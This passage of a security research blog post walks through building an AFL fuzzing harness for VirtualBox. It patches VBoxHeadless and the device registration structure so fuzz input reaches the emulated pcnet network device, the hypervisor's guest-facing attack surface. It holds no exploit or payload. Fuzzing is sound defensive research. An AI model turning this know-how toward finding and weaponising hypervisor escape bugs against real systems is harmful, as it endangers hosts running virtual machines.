&lt;p&gt;But first, if we want to use the modified &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VboxHeadless&lt;/code&gt;, which provides a high-level interface (&lt;a href=&quot;https://www.virtualbox.org/sdkref/annotated.html&quot;&gt;VirtualBox Main API&lt;/a&gt;) to the VirtualBox functionality, we need to find a way to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdm&lt;/code&gt; structure.&lt;/p&gt;

&lt;p&gt;By reading the source code, we can see multiple patterns where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pVM&lt;/code&gt; (pointer to a VM handle) is dereferenced to traverse a linked list with all device instances:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// src/VBox/VMM/VMMR3/PDMDevice.cpp&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPDMDEVINS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pdm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevInstances&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Internal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pNextR3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// [ SNIP ]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The VirtualBox Main API on non-Windows platforms uses Mozilla &lt;a href=&quot;https://en.wikipedia.org/wiki/XPCOM&quot;&gt;XPCOM&lt;/a&gt;. So we wanted to find out if we could leverage it to access the low-level structures. After some digging, we found out that indeed it’s possible to retrieve the VM handle via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IMachineDebugger&lt;/code&gt; class:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/vbox-imachinedebugger.png&quot; width=&quot;750&quot; alt=&quot;IMachineDebugger VM&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With that, the following snippet of code demonstrates how to access &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pVM&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;LONG64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;llVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;HRESULT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hrc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;machineDebugger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;COMGETTER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;VM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;llVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;PUVM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pUVM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PUVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;intptr_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;llVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* The user mode VM handle */&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;PVM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pUVM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After obtaining the pointer to the VM, we have to change the build scripts again, allowing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VboxHeadless&lt;/code&gt; to access internal PDM definitions from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBoxHeadless.cpp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We tried to minimize the amount of changes and after some experimentation, we came up with the following steps:&lt;/p&gt;

&lt;p&gt;1) Create a new file called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/VBox/Frontends/Common/harness.h&lt;/code&gt; with this content:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* without this, include/VBox/vmm/pdmtask.h does not import PDMTASKTYPE enum */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define VBOX_IN_VMM 1
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&quot;PDMInternal.h&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* needed by machineDebugger COM VM getter */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;VBox/vmm/vm.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;VBox/vmm/uvm.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* needed by AFL */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;2) Modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp&lt;/code&gt; file by adding the following code just before the event loop starts, near the end of the file:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;            &lt;span class=&quot;n&quot;&gt;LogRel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;VBoxHeadless: failed to start windows message monitor: %Rrc&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;irc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif &lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* RT_OS_WINDOWS */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
        &lt;span class=&quot;cm&quot;&gt;/* --------------- BEGIN --------------- */&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;LONG64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;llVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;HRESULT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hrc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;machineDebugger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;COMGETTER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;VM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;llVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;PUVM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pUVM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PUVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;intptr_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;llVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* The user mode VM handle */&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;PVM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pUVM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;


        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SUCCEEDED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hrc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

          &lt;span class=&quot;n&quot;&gt;PUVM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pUVM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PUVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;intptr_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;llVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* The user mode VM handle */&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;PVM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pUVM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPDMDEVINS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pVM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pdm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevInstances&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Internal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pNextR3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;szName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;pcnet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

                    &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__AFL_FUZZ_TESTCASE_BUF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__AFL_LOOP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__AFL_FUZZ_TESTCASE_LEN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                        &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pReg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfnAFL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;cm&quot;&gt;/* ---------------  END  --------------- */&lt;/span&gt;

        &lt;span class=&quot;cm&quot;&gt;/*
         * Pump vbox events forever
         */&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;LogRel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;VBoxHeadless: starting event loop&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(;;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the same file after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#include &quot;PasswordInput.h&quot;&lt;/code&gt; directive, add:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&quot;harness.h&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, append &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__AFL_FUZZ_INIT();&lt;/code&gt; before defining the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TrustedMain&lt;/code&gt; function:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;__AFL_FUZZ_INIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/**
 *  Entry point.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DECLEXPORT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TrustedMain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;envp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;4) Edit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/VBox/Frontends/VBoxHeadless/Makefile.kmk&lt;/code&gt; and change the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBoxHeadless_DEFS&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBoxHeadless_INCS&lt;/code&gt; from&lt;/p&gt;

&lt;div class=&quot;language-make highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;VBoxHeadless_TEMPLATE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$(VBOX_WITH_HARDENING)&lt;/span&gt;,VBOXMAINCLIENTDLL,VBOXMAINCLIENTEXE&lt;span class=&quot;nf&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;VBoxHeadless_DEFS&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$(VBOX_WITH_RECORDING)&lt;/span&gt;,VBOX_WITH_RECORDING,&lt;span class=&quot;nf&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;VBoxHeadless_INCS&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$(VBOX_GRAPHICS_INCS)&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  ../Common
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;to&lt;/p&gt;

&lt;div class=&quot;language-make highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;VBoxHeadless_TEMPLATE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$(VBOX_WITH_HARDENING)&lt;/span&gt;,VBOXMAINCLIENTDLL,VBOXMAINCLIENTEXE&lt;span class=&quot;nf&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;VBoxHeadless_DEFS&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$(VBOX_WITH_RECORDING)&lt;/span&gt;,VBOX_WITH_RECORDING,&lt;span class=&quot;nf&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$(VMM_COMMON_DEFS)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;VBoxHeadless_INCS&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$(VBOX_GRAPHICS_INCS)&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        ../Common &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        ../../VMM/include
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;fuzzing-with-multiple-inputs&quot;&gt;Fuzzing With Multiple Inputs&lt;/h3&gt;

&lt;p&gt;For the network drivers, there are various ways of supplying the user-controlled data by using access I/O port instructions or reading the data from the emulated device via MMIO (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PDMDevHlpPhysRead&lt;/code&gt;). If this part is unclear, please refer back to [1] in references, which is probably the best available resource for explaining the attack surface. Moreover, many ports or values are restricted to a specific set, and to save some time, we want to use only these values. Therefore, after some consideration for the implementing of our fuzzing framework, we discovered &lt;a href=&quot;https://github.com/google/fuzzing/blob/master/docs/split-inputs.md#fuzzed-data-provider&quot;&gt;Fuzzed Data Provider&lt;/a&gt; (later FDP).&lt;/p&gt;

&lt;p&gt;FDP is part of the LLVM and, after we pass it a buffer generated by AFL, it can leverage it to generate a restricted set of numbers, bytes, or enums. We can store the pointer to FDP inside the device driver instance and retrieve it any time we want to feed some buffer.&lt;/p&gt;

&lt;p&gt;Recall that we can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pfnReserved&lt;/code&gt; fields to implement our fuzzing helper functions. For this, it’s enough to edit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include/VBox/vmm/pdmdev.h&lt;/code&gt; and change the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PDMDEVREGR3&lt;/code&gt; structure to conform to our prototype:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;DECLR3CALLBACKMEMBER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfnAFL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPDMDEVINS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;DECLR3CALLBACKMEMBER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pfnGetFDP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PPDMDEVINS&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pDevIns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
